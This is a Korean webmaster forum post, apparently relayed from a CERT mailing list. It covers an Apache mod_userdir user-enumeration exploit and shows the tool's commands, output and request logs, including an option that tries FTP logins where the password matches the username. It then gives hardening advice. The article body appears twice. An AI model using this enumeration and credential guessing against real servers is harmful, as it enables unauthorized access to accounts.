웹마스터 팁
page_full_width" class="col-xs-12" |cond="$__Context->page_full_width">
apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit
2003.12.27 11:26
apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit이 등장했습니다.
여러가지 방법으로 테스트해보다가 아래와 같은 특징을 발견하여서 알려드리고자 합니다.
이번 exploit은 mod_userdir.c를 이용하는 것으로 httpd -l 로 검색해서
mod_userdir.c 모듈이 있으면 이번 공격에 취약합니다.
이 exploit은 일정한 조건과 userlist.txt를 통해서 매치되는 apache서버의
내부 사용자들의 계정을 알아낼수 있습니다.
(이것은 해커에게 좀더 쉽게 공격 대상의 계정 정보를 취득하게 할뿐만 아니라 계정과
동일한 패스워드를 사용하는 사용자가 있다면 그사용자로 인해 root 권한 까지도 빼앗길 수
있는 exploit 입니다.)
하지만 이 exploit은 다음과 같은 특징이 없다면 원격 사용자를 검색해 내지 못합니다.
1. mod_userdir.c가 있을경우에 해당 계정의 디렉토리 밑에 public_html 이 있을 경우에 탐지된다.
=================================
UserDir public_html
-------> 만약 UserDir www 라면 계정밑에 www 디렉토리가 있다면 탐지된다.
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 있을때)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Searching for system accounts...
test => no (계정밑에 public_html이 없을때)
=================================
2. 계정 디렉토리의 밑에 public_html 이 없어도 계정 디렉토리의 권한이 700이면 탐지된다.
=================================
public_html이 없어도 계정이 존재한다면 http 쿼리를 해보면 403 이란 반환
값을 얻을수 있다.
소스에 보면 200, 403, 404 대해서 분류가 되어있는데 그것은 아래와 같이 값
을 얻었을 때 계정의 유무를 판단하기
위한 것이다.
다음은 http 쿼리시 남은 로그이다.
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test HTTP/1.1" 403 0
-> Forbidden
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test1 HTTP/1.1" 404 0
-> 페이지를 찾을수 없습니다.
127.0.0.1 - - [18/Dec/2003:01:30:54 +0900] "GET /~test/ HTTP/1.1" 200
345 -> 정상적인 동작시
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 없이 계정 디렉토리의 권한이 700 일때)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Searching for system accounts...
test => no (계정의 권한이 700이 아닌 다른것일때 public_html은 없다.)
=================================
3. 계정 디렉토리의 권한이 755 이고, public_html이 존재하면 계정과 패스워
드가 동일하다면 ftp접속가능 여부도 알수있다.
=================================
아래의 test는 디렉토리 권한이 755이고, public_html이 존재하고 계정(test)
과 패스워드(test) 가 동일할때의 결과이다.
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest -b
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes (test란 계정을 찾았고)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Attempting to log on ftp with login:login...
test:test => yes (ftp접속도 가능하다)
[*] Complete.
1 ftp accounts found
================================
위에서도 몇가지 해결책을 알아보았고,
다음과 같은 방법을 통해서도 이번 exploit에 대한 탐지를 막을수 있습니다.
1. 가상호스팅을 이용합니다. (DocumentRoot를 public_html로 주지않고 다른
디렉토리로 주게되면, 탐지를 막을수 있다.)
권한은 700으로 주지 않는다. (물론 웹을 이용할것이므로 700으로 주지는 않
을것이라 생각됨)
---------------------------
ServerAdmin test@manpage.co.kr
DocumentRoot /home/zmnkh/
ServerName test.manpage.co.kr
-----------------------------
2. /etc/passwd 파일을 640등으로 주어 소유자와 그룹소유자만이 읽을수 있도
록 하면 탐지 자체가 되지 않습니다.
-----------------------------
/etc/passwd의 권한을 변경한뒤에 실행
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => no
[-] Exiting...
------------------------------
이때 /etc/passwd 파일을 640으로 해놓았을 경우 에러가 발생할 소지가 있으므로,
passwd를 읽어야 하는 일반 계정의 사용자들이 있을 경우에
/etc/group의 wheel 그룹에 등록하고,
chgrp wheel /etc/passwd 으로 /etc/passwd그룹을 변경하여 사용하면 무리없이
사용할수 있을 것입니다.
사용하기 편한 방법으로 exploit공격에 대비하시면 되겠습니다
출처 : CERTT 메일링(김훈)
여러가지 방법으로 테스트해보다가 아래와 같은 특징을 발견하여서 알려드리고자 합니다.
이번 exploit은 mod_userdir.c를 이용하는 것으로 httpd -l 로 검색해서
mod_userdir.c 모듈이 있으면 이번 공격에 취약합니다.
이 exploit은 일정한 조건과 userlist.txt를 통해서 매치되는 apache서버의
내부 사용자들의 계정을 알아낼수 있습니다.
(이것은 해커에게 좀더 쉽게 공격 대상의 계정 정보를 취득하게 할뿐만 아니라 계정과
동일한 패스워드를 사용하는 사용자가 있다면 그사용자로 인해 root 권한 까지도 빼앗길 수
있는 exploit 입니다.)
하지만 이 exploit은 다음과 같은 특징이 없다면 원격 사용자를 검색해 내지 못합니다.
1. mod_userdir.c가 있을경우에 해당 계정의 디렉토리 밑에 public_html 이 있을 경우에 탐지된다.
=================================
UserDir public_html
-------> 만약 UserDir www 라면 계정밑에 www 디렉토리가 있다면 탐지된다.
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 있을때)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Searching for system accounts...
test => no (계정밑에 public_html이 없을때)
=================================
2. 계정 디렉토리의 밑에 public_html 이 없어도 계정 디렉토리의 권한이 700이면 탐지된다.
=================================
public_html이 없어도 계정이 존재한다면 http 쿼리를 해보면 403 이란 반환
값을 얻을수 있다.
소스에 보면 200, 403, 404 대해서 분류가 되어있는데 그것은 아래와 같이 값
을 얻었을 때 계정의 유무를 판단하기
위한 것이다.
다음은 http 쿼리시 남은 로그이다.
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test HTTP/1.1" 403 0
-> Forbidden
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test1 HTTP/1.1" 404 0
-> 페이지를 찾을수 없습니다.
127.0.0.1 - - [18/Dec/2003:01:30:54 +0900] "GET /~test/ HTTP/1.1" 200
345 -> 정상적인 동작시
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 없이 계정 디렉토리의 권한이 700 일때)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Searching for system accounts...
test => no (계정의 권한이 700이 아닌 다른것일때 public_html은 없다.)
=================================
3. 계정 디렉토리의 권한이 755 이고, public_html이 존재하면 계정과 패스워
드가 동일하다면 ftp접속가능 여부도 알수있다.
=================================
아래의 test는 디렉토리 권한이 755이고, public_html이 존재하고 계정(test)
과 패스워드(test) 가 동일할때의 결과이다.
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest -b
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes (test란 계정을 찾았고)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Attempting to log on ftp with login:login...
test:test => yes (ftp접속도 가능하다)
[*] Complete.
1 ftp accounts found
================================
위에서도 몇가지 해결책을 알아보았고,
다음과 같은 방법을 통해서도 이번 exploit에 대한 탐지를 막을수 있습니다.
1. 가상호스팅을 이용합니다. (DocumentRoot를 public_html로 주지않고 다른
디렉토리로 주게되면, 탐지를 막을수 있다.)
권한은 700으로 주지 않는다. (물론 웹을 이용할것이므로 700으로 주지는 않
을것이라 생각됨)
---------------------------
ServerAdmin test@manpage.co.kr
DocumentRoot /home/zmnkh/
ServerName test.manpage.co.kr
-----------------------------
2. /etc/passwd 파일을 640등으로 주어 소유자와 그룹소유자만이 읽을수 있도
록 하면 탐지 자체가 되지 않습니다.
-----------------------------
/etc/passwd의 권한을 변경한뒤에 실행
[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest
[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => no
[-] Exiting...
------------------------------
이때 /etc/passwd 파일을 640으로 해놓았을 경우 에러가 발생할 소지가 있으므로,
passwd를 읽어야 하는 일반 계정의 사용자들이 있을 경우에
/etc/group의 wheel 그룹에 등록하고,
chgrp wheel /etc/passwd 으로 /etc/passwd그룹을 변경하여 사용하면 무리없이
사용할수 있을 것입니다.
사용하기 편한 방법으로 exploit공격에 대비하시면 되겠습니다
출처 : CERTT 메일링(김훈)
댓글 2
-
DukeEYS
2004.01.31 11:19
-
DukeEYS
2004.01.31 11:23
group 를 641 로 주고 적당한 그룹에게만 열람이 가능하고록 하면됩니다
저같은 경우 wheel 에 주어서 볼수있게 해놓고있습니다
위에는 예제기 때문이 임시로 611로 해놓고 출력한 결과입니다.
보면 아시겠지만 90=private,0=wheel 입니다.
/etc/passwd , group은 611로 주는 것이 좋습니다.
그룹 이름이 꼭 보여야 한다면 group 은 644를 주더라도
passwd 파일은 611로 줘도 무방합니다.
아래 내용은 제가 운영하는 프비서버의 경우입니다.
-----------------------------
> id
uid=1001(freebsd) gid=90 groups=90, 0
> cat /etc/passwd
cat: /etc/passwd: Permission denied
> cat /etc/group
cat: /etc/group: Permission denied
> ll
total 21620
-rw----r-- 1 freebsd 90 ****
-rw------- 1 freebsd 90 ****
-rw----r-- 1 freebsd 90 ****
-rw----r-- 1 freebsd 90 ****
-rw----r-- 1 freebsd 90 ****
-rw------- 1 freebsd 90 ****
-rw----r-- 1 freebsd 90 ****
drwx---r-x 7 freebsd 90 ****
> /etc/passwd
/etc/passwd: Permission denied.
> /etc/group
/etc/group: Permission denied.
>